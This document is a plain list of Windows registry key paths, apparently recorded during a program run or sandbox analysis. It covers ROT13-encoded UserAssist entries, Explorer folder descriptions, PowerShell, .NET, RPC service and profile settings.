HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Explorer\UserAssist\{F4E57C4B-2036-45F0-A9AB-443BCFE33D9F}\Count\{0139Q44R-6NSR-49S2-8690-3QNSPNR6SSO8}\Clguba 2.7\Zbqhyr Qbpf.yax
HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Explorer\UserAssist\{F4E57C4B-2036-45F0-A9AB-443BCFE33D9F}\Count\{0139Q44R-6NSR-49S2-8690-3QNSPNR6SSO8}\Clguba 2.7\Clguba (pbzznaq yvar).yax
HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Explorer\UserAssist\{CEBFF5CD-ACE2-4F4F-9178-9926F41749EA}\Count\{1NP14R77-02R7-4R5Q-O744-2RO1NR5198O7}\abgrcnq.rkr
HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Explorer\UserAssist\{CEBFF5CD-ACE2-4F4F-9178-9926F41749EA}\Count\HRZR_PGYPHNPbhag:pgbe
HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Explorer\UserAssist\{CEBFF5CD-ACE2-4F4F-9178-9926F41749EA}\Count\{1NP14R77-02R7-4R5Q-O744-2RO1NR5198O7}\aneengbe.rkr
HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Explorer\UserAssist\{CEBFF5CD-ACE2-4F4F-9178-9926F41749EA}\Count\{1NP14R77-02R7-4R5Q-O744-2RO1NR5198O7}\bfx.rkr
HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Explorer\UserAssist\{CEBFF5CD-ACE2-4F4F-9178-9926F41749EA}\Count\{1NP14R77-02R7-4R5Q-O744-2RO1NR5198O7}\rhqprqvg.rkr
HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Explorer\UserAssist\{CEBFF5CD-ACE2-4F4F-9178-9926F41749EA}\Count\{7P5N40RS-N0SO-4OSP-874N-P0S2R0O9SN8R}\Nqbor\Npebong.pbz\Npebong.pbz.rkr
HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Explorer\UserAssist\{CEBFF5CD-ACE2-4F4F-9178-9926F41749EA}\Count\Zvpebfbsg.Jvaqbjf.ZrqvnPragre
HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Explorer\UserAssist\{CEBFF5CD-ACE2-4F4F-9178-9926F41749EA}\Count\Zvpebfbsg.NhgbTrarengrq.{Q4N262QQ-PR44-Q105-S36O-9Q77N8PO65N4}
HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Explorer\UserAssist\{CEBFF5CD-ACE2-4F4F-9178-9926F41749EA}\Count\{1NP14R77-02R7-4R5Q-O744-2RO1NR5198O7}\JvaqbjfNalgvzrHctenqrHV.rkr
HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Explorer\UserAssist\{CEBFF5CD-ACE2-4F4F-9178-9926F41749EA}\Count\{6Q809377-6NS0-444O-8957-N3773S02200R}\QIQ Znxre\QIQZnxre.rkr
HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Explorer\UserAssist\{CEBFF5CD-ACE2-4F4F-9178-9926F41749EA}\Count\Zvpebfbsg.Jvaqbjf.ZrqvnCynlre32
HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Explorer\UserAssist\{CEBFF5CD-ACE2-4F4F-9178-9926F41749EA}\Count\{6Q809377-6NS0-444O-8957-N3773S02200R}\Pbzzba Svyrf\Zvpebfbsg Funerq\Vax\zvc.rkr
HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Explorer\UserAssist\{CEBFF5CD-ACE2-4F4F-9178-9926F41749EA}\Count\Zvpebfbsg.NhgbTrarengrq.{NN198O3P-PQ8P-7QR1-98Q1-O460S637193O}
HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Explorer\UserAssist\{CEBFF5CD-ACE2-4F4F-9178-9926F41749EA}\Count\{1NP14R77-02R7-4R5Q-O744-2RO1NR5198O7}\ArgCebw.rkr
HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Explorer\UserAssist\{CEBFF5CD-ACE2-4F4F-9178-9926F41749EA}\Count\{1NP14R77-02R7-4R5Q-O744-2RO1NR5198O7}\FbhaqErpbeqre.rkr
HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Explorer\UserAssist\{CEBFF5CD-ACE2-4F4F-9178-9926F41749EA}\Count\{1NP14R77-02R7-4R5Q-O744-2RO1NR5198O7}\zboflap.rkr
HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Explorer\UserAssist\{CEBFF5CD-ACE2-4F4F-9178-9926F41749EA}\Count\{6Q809377-6NS0-444O-8957-N3773S02200R}\Jvaqbjf AG\Npprffbevrf\jbeqcnq.rkr
HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Explorer\UserAssist\{CEBFF5CD-ACE2-4F4F-9178-9926F41749EA}\Count\Zvpebfbsg.NhgbTrarengrq.{QNN168QR-4306-P8OP-8P11-O596240OQQRQ}
HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Explorer\UserAssist\{CEBFF5CD-ACE2-4F4F-9178-9926F41749EA}\Count\{1NP14R77-02R7-4R5Q-O744-2RO1NR5198O7}\puneznc.rkr
HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Explorer\UserAssist\{CEBFF5CD-ACE2-4F4F-9178-9926F41749EA}\Count\{1NP14R77-02R7-4R5Q-O744-2RO1NR5198O7}\qsethv.rkr
HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Explorer\UserAssist\{CEBFF5CD-ACE2-4F4F-9178-9926F41749EA}\Count\{1NP14R77-02R7-4R5Q-O744-2RO1NR5198O7}\pyrnazte.rkr
HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Explorer\UserAssist\{CEBFF5CD-ACE2-4F4F-9178-9926F41749EA}\Count\Zvpebfbsg.NhgbTrarengrq.{P804OON7-SN5S-POS7-8O55-2096R5S972PO}
HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Explorer\UserAssist\{CEBFF5CD-ACE2-4F4F-9178-9926F41749EA}\Count\{1NP14R77-02R7-4R5Q-O744-2RO1NR5198O7}\zfvasb32.rkr
HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Explorer\UserAssist\{CEBFF5CD-ACE2-4F4F-9178-9926F41749EA}\Count\{1NP14R77-02R7-4R5Q-O744-2RO1NR5198O7}\efgehv.rkr
HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Explorer\UserAssist\{CEBFF5CD-ACE2-4F4F-9178-9926F41749EA}\Count\{1NP14R77-02R7-4R5Q-O744-2RO1NR5198O7}\zvtjvm\cbfgzvt.rkr
HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Explorer\UserAssist\{CEBFF5CD-ACE2-4F4F-9178-9926F41749EA}\Count\{1NP14R77-02R7-4R5Q-O744-2RO1NR5198O7}\zvtjvm\zvtjvm.rkr
HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Explorer\UserAssist\{CEBFF5CD-ACE2-4F4F-9178-9926F41749EA}\Count\{6Q809377-6NS0-444O-8957-N3773S02200R}\Pbzzba Svyrf\Zvpebfbsg Funerq\Vax\FuncrPbyyrpgbe.rkr
HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Explorer\UserAssist\{CEBFF5CD-ACE2-4F4F-9178-9926F41749EA}\Count\{6Q809377-6NS0-444O-8957-N3773S02200R}\Pbzzba Svyrf\Zvpebfbsg Funerq\Vax\GnoGvc.rkr
HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Explorer\UserAssist\{CEBFF5CD-ACE2-4F4F-9178-9926F41749EA}\Count\{6Q809377-6NS0-444O-8957-N3773S02200R}\Jvaqbjf Wbheany\Wbheany.rkr
HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Explorer\UserAssist\{CEBFF5CD-ACE2-4F4F-9178-9926F41749EA}\Count\{Q65231O0-O2S1-4857-N4PR-N8R7P6RN7Q27}\JvaqbjfCbjreFuryy\i1.0\cbjrefuryy.rkr
HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Explorer\UserAssist\{CEBFF5CD-ACE2-4F4F-9178-9926F41749EA}\Count\{Q65231O0-O2S1-4857-N4PR-N8R7P6RN7Q27}\JvaqbjfCbjreFuryy\i1.0\CbjreFuryy_VFR.rkr
HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Explorer\UserAssist\{CEBFF5CD-ACE2-4F4F-9178-9926F41749EA}\Count\{1NP14R77-02R7-4R5Q-O744-2RO1NR5198O7}\JvaqbjfCbjreFuryy\i1.0\CbjreFuryy_VFR.rkr
HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Explorer\UserAssist\{CEBFF5CD-ACE2-4F4F-9178-9926F41749EA}\Count\{1NP14R77-02R7-4R5Q-O744-2RO1NR5198O7}\JvaqbjfCbjreFuryy\i1.0\cbjrefuryy.rkr
HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Explorer\UserAssist\{CEBFF5CD-ACE2-4F4F-9178-9926F41749EA}\Count\{1NP14R77-02R7-4R5Q-O744-2RO1NR5198O7}\pbzrkc.zfp
HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Explorer\UserAssist\{CEBFF5CD-ACE2-4F4F-9178-9926F41749EA}\Count\Zvpebfbsg.NhgbTrarengrq.{8NOQ94SO-R7Q6-84N6-N997-P918RQQR0NR5}
HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Explorer\UserAssist\{CEBFF5CD-ACE2-4F4F-9178-9926F41749EA}\Count\{1NP14R77-02R7-4R5Q-O744-2RO1NR5198O7}\bqopnq32.rkr
HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Explorer\UserAssist\{CEBFF5CD-ACE2-4F4F-9178-9926F41749EA}\Count\Zvpebfbsg.NhgbTrarengrq.{OO044OSQ-25O7-2SNN-22N8-6371N93R0456}
HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Explorer\UserAssist\{CEBFF5CD-ACE2-4F4F-9178-9926F41749EA}\Count\{1NP14R77-02R7-4R5Q-O744-2RO1NR5198O7}\vfpfvpcy.rkr
HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Explorer\UserAssist\{CEBFF5CD-ACE2-4F4F-9178-9926F41749EA}\Count\{1NP14R77-02R7-4R5Q-O744-2RO1NR5198O7}\ZqFpurq.rkr
HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Explorer\UserAssist\{CEBFF5CD-ACE2-4F4F-9178-9926F41749EA}\Count\Zvpebfbsg.NhgbTrarengrq.{8NN47365-O2O3-1961-69RO-S866R376O12S}
HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Explorer\UserAssist\{CEBFF5CD-ACE2-4F4F-9178-9926F41749EA}\Count\{1NP14R77-02R7-4R5Q-O744-2RO1NR5198O7}\cevagznantrzrag.zfp
HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Explorer\UserAssist\{CEBFF5CD-ACE2-4F4F-9178-9926F41749EA}\Count\Zvpebfbsg.NhgbTrarengrq.{OQ3S924R-55SO-N1ON-9QR6-O50S9S2460NP}
HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Explorer\UserAssist\{CEBFF5CD-ACE2-4F4F-9178-9926F41749EA}\Count\{1NP14R77-02R7-4R5Q-O744-2RO1NR5198O7}\zfpbasvt.rkr
HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Explorer\UserAssist\{CEBFF5CD-ACE2-4F4F-9178-9926F41749EA}\Count\{1NP14R77-02R7-4R5Q-O744-2RO1NR5198O7}\JS.zfp
HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Explorer\UserAssist\{CEBFF5CD-ACE2-4F4F-9178-9926F41749EA}\Count\Zvpebfbsg.NhgbTrarengrq.{15067OP1-P5N8-425R-37P6-SN0O891674S9}
HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Explorer\UserAssist\{CEBFF5CD-ACE2-4F4F-9178-9926F41749EA}\Count\{1NP14R77-02R7-4R5Q-O744-2RO1NR5198O7}\erpqvfp.rkr
HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Explorer\UserAssist\{CEBFF5CD-ACE2-4F4F-9178-9926F41749EA}\Count\{1NP14R77-02R7-4R5Q-O744-2RO1NR5198O7}\zfen.rkr
HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Explorer\UserAssist\{CEBFF5CD-ACE2-4F4F-9178-9926F41749EA}\Count\\x01ko'OIs!!!!!!!!!ZXXFxBssvprQvtvgnyFSvyrf<
HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Explorer\UserAssist\{CEBFF5CD-ACE2-4F4F-9178-9926F41749EA}\Count\{7P5N40RS-N0SO-4OSP-874N-P0S2R0O9SN8R}\Zvpebfbsg Bssvpr\Bssvpr14\ZFGBER.RKR
HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Explorer\UserAssist\{CEBFF5CD-ACE2-4F4F-9178-9926F41749EA}\Count\\x01ko'OIs!!!!!!!!!ZXXFxFrgYnathntrSvyrf<
HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Explorer\UserAssist\{CEBFF5CD-ACE2-4F4F-9178-9926F41749EA}\Count\\x01ko'OIs!!!!!!!!!ZXXFxJkcSvyrf<
HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Explorer\UserAssist\{CEBFF5CD-ACE2-4F4F-9178-9926F41749EA}\Count\{7P5N40RS-N0SO-4OSP-874N-P0S2R0O9SN8R}\Zvpebfbsg Bssvpr\Bssvpr14\BVF.RKR
HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Explorer\UserAssist\{CEBFF5CD-ACE2-4F4F-9178-9926F41749EA}\Count\{7P5N40RS-N0SO-4OSP-874N-P0S2R0O9SN8R}\Pbzzba Svyrf\zvpebfbsg funerq\BSSVPR14\Bssvpr Frghc Pbagebyyre\cebzb.rkr
HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Explorer\UserAssist\{CEBFF5CD-ACE2-4F4F-9178-9926F41749EA}\Count\Zvpebfbsg.NhgbTrarengrq.{53123611-QN37-S8QN-SNP9-03R76QO9Q64Q}
HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Explorer\UserAssist\{CEBFF5CD-ACE2-4F4F-9178-9926F41749EA}\Count\P:\Clguba27\clguba.rkr
HKEY_CLASSES_ROOT\Applications\powershell.exe
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\FolderDescriptions\{AE50C081-EBD2-438A-8655-8A092E34987A}
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\FolderDescriptions\{AE50C081-EBD2-438A-8655-8A092E34987A}\Category
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\FolderDescriptions\{AE50C081-EBD2-438A-8655-8A092E34987A}\Name
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\FolderDescriptions\{AE50C081-EBD2-438A-8655-8A092E34987A}\ParentFolder
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\FolderDescriptions\{AE50C081-EBD2-438A-8655-8A092E34987A}\Description
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\FolderDescriptions\{AE50C081-EBD2-438A-8655-8A092E34987A}\RelativePath
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\FolderDescriptions\{AE50C081-EBD2-438A-8655-8A092E34987A}\ParsingName
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\FolderDescriptions\{AE50C081-EBD2-438A-8655-8A092E34987A}\InfoTip
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\FolderDescriptions\{AE50C081-EBD2-438A-8655-8A092E34987A}\LocalizedName
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\FolderDescriptions\{AE50C081-EBD2-438A-8655-8A092E34987A}\Icon
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\FolderDescriptions\{AE50C081-EBD2-438A-8655-8A092E34987A}\Security
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\FolderDescriptions\{AE50C081-EBD2-438A-8655-8A092E34987A}\StreamResource
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\FolderDescriptions\{AE50C081-EBD2-438A-8655-8A092E34987A}\StreamResourceType
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\FolderDescriptions\{AE50C081-EBD2-438A-8655-8A092E34987A}\LocalRedirectOnly
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\FolderDescriptions\{AE50C081-EBD2-438A-8655-8A092E34987A}\Roamable
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\FolderDescriptions\{AE50C081-EBD2-438A-8655-8A092E34987A}\PreCreate
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\FolderDescriptions\{AE50C081-EBD2-438A-8655-8A092E34987A}\Stream
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\FolderDescriptions\{AE50C081-EBD2-438A-8655-8A092E34987A}\PublishExpandedPath
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\FolderDescriptions\{AE50C081-EBD2-438A-8655-8A092E34987A}\Attributes
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\FolderDescriptions\{AE50C081-EBD2-438A-8655-8A092E34987A}\FolderTypeID
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\FolderDescriptions\{AE50C081-EBD2-438A-8655-8A092E34987A}\InitFolderHandler
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\FolderDescriptions\{AE50C081-EBD2-438A-8655-8A092E34987A}\PropertyBag
HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Explorer\User Shell Folders\Recent
HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Explorer\Advanced\Start_JumpListItems
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\Advanced\Start_JumpListItems
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\FolderDescriptions\{5E6C858F-0E22-4760-9AFE-EA3317B67173}
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\FolderDescriptions\{5E6C858F-0E22-4760-9AFE-EA3317B67173}\Category
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\FolderDescriptions\{5E6C858F-0E22-4760-9AFE-EA3317B67173}\Name
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\FolderDescriptions\{5E6C858F-0E22-4760-9AFE-EA3317B67173}\ParentFolder
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\FolderDescriptions\{5E6C858F-0E22-4760-9AFE-EA3317B67173}\Description
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\FolderDescriptions\{5E6C858F-0E22-4760-9AFE-EA3317B67173}\RelativePath
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\FolderDescriptions\{5E6C858F-0E22-4760-9AFE-EA3317B67173}\ParsingName
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\FolderDescriptions\{5E6C858F-0E22-4760-9AFE-EA3317B67173}\InfoTip
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\FolderDescriptions\{5E6C858F-0E22-4760-9AFE-EA3317B67173}\LocalizedName
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\FolderDescriptions\{5E6C858F-0E22-4760-9AFE-EA3317B67173}\Icon
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\FolderDescriptions\{5E6C858F-0E22-4760-9AFE-EA3317B67173}\Security
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\FolderDescriptions\{5E6C858F-0E22-4760-9AFE-EA3317B67173}\StreamResource
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\FolderDescriptions\{5E6C858F-0E22-4760-9AFE-EA3317B67173}\StreamResourceType
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\FolderDescriptions\{5E6C858F-0E22-4760-9AFE-EA3317B67173}\LocalRedirectOnly
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\FolderDescriptions\{5E6C858F-0E22-4760-9AFE-EA3317B67173}\Roamable
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\FolderDescriptions\{5E6C858F-0E22-4760-9AFE-EA3317B67173}\PreCreate
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\FolderDescriptions\{5E6C858F-0E22-4760-9AFE-EA3317B67173}\Stream
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\FolderDescriptions\{5E6C858F-0E22-4760-9AFE-EA3317B67173}\PublishExpandedPath
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\FolderDescriptions\{5E6C858F-0E22-4760-9AFE-EA3317B67173}\Attributes
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\FolderDescriptions\{5E6C858F-0E22-4760-9AFE-EA3317B67173}\FolderTypeID
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\FolderDescriptions\{5E6C858F-0E22-4760-9AFE-EA3317B67173}\InitFolderHandler
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\FolderDescriptions\{5E6C858F-0E22-4760-9AFE-EA3317B67173}\PropertyBag
HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows NT\Rpc
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\Explorer\NoRecentDocsHistory
HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Explorer\Advanced\Start_TrackDocs
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\Advanced\Start_TrackDocs
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\PowerShell
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\PowerShell\1\PowerShellEngine
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\PowerShell\1\PowerShellEngine\PowerShellVersion
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\PowerShell\1\PowerShellEngine\RuntimeVersion
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\PowerShell\1\PowerShellEngine\ConsoleHostAssemblyName
HKEY_LOCAL_MACHINE\Software\Microsoft\.NETFramework\Policy\
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\.NETFramework\Policy\v4.0
HKEY_LOCAL_MACHINE\Software\Microsoft\.NETFramework
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\.NETFramework\InstallRoot
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\.NETFramework\CLRLoadLogDir
HKEY_CURRENT_USER\Software\Microsoft\.NETFramework
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\.NETFramework\UseLegacyV2RuntimeActivationPolicyDefaultValue
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\.NETFramework\OnlyUseLatestCLR
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Fusion
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Fusion\NoClientChecks
HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\SideBySide
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\SideBySide\PreferExternalManifest
HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\SideBySide\AssemblyStorageRoots
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\Explorer\NormalizeLinkNetPidls
HKEY_CLASSES_ROOT\CLSID\{20D04FE0-3AEA-1069-A2D8-08002B30309D}
HKEY_LOCAL_MACHINE\SOFTWARE\Classes\CLSID\{20D04FE0-3AEA-1069-A2D8-08002B30309D}\System.NamespaceCLSID
HKEY_LOCAL_MACHINE\SOFTWARE\Classes\CLSID\{20D04FE0-3AEA-1069-A2D8-08002B30309D}\{28636AA6-953D-11D2-B5D6-00C04FD918D0} 6
HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\services\DcomLaunch
HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\services\DcomLaunch\ObjectName
HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\services\RpcEptMapper
HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\services\RpcEptMapper\ObjectName
HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\services\RpcSs
HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\services\RpcSs\ObjectName
HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\services\KeyIso
HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\services\KeyIso\ObjectName
HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\services\KeyIso\ImagePath
HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\services\KeyIso\WOW64
HKEY_LOCAL_MACHINE\Software\Microsoft\Windows NT\CurrentVersion\ProfileList
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\ProfileList\ProgramData
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\ProfileList\Public
HKEY_LOCAL_MACHINE\System\CurrentControlSet\Control\Session Manager\Environment
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\ProfileList\Default
HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\ProgramFilesDir
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\CommonFilesDir
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\ProgramFilesDir (x86)
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\CommonFilesDir (x86)
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\ProgramW6432Dir
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\CommonW6432Dir
HKEY_USERS\S-1-5-18
HKEY_LOCAL_MACHINE\Software\Microsoft\Windows NT\CurrentVersion\ProfileList\S-1-5-18
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\ProfileList\S-1-5-18\ProfileImagePath
HKEY_USERS\S-1-5-18\Software\Microsoft\Windows\CurrentVersion\Explorer\User Shell Folders
HKEY_USERS\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Explorer\User Shell Folders\AppData
HKEY_USERS\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Explorer\User Shell Folders\Local AppData
HKEY_USERS\.DEFAULT\Environment
HKEY_USERS\.DEFAULT\Volatile Environment
HKEY_USERS\.DEFAULT\Volatile Environment\0
HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\services\KeyIso\Environment
HKEY_LOCAL_MACHINE\Software\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\lsass.exe
DisableUserModeCallbackFilter
HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\Control\Nls\CustomLocale\en-GB
HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\Control\Nls\ExtendedLocale\en-GB
HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Explorer\MountPoints2\CPC\Volume\{3abfb8f2-2ffd-11e7-a4cf-806e6f6e6963}\Data
HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Explorer\MountPoints2\CPC\Volume\{3abfb8f2-2ffd-11e7-a4cf-806e6f6e6963}\Generation
HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Explorer\MountPoints2\CPC\Volume\{5e1375cc-b5ba-11e3-a2f5-806e6f6e6963}\Data
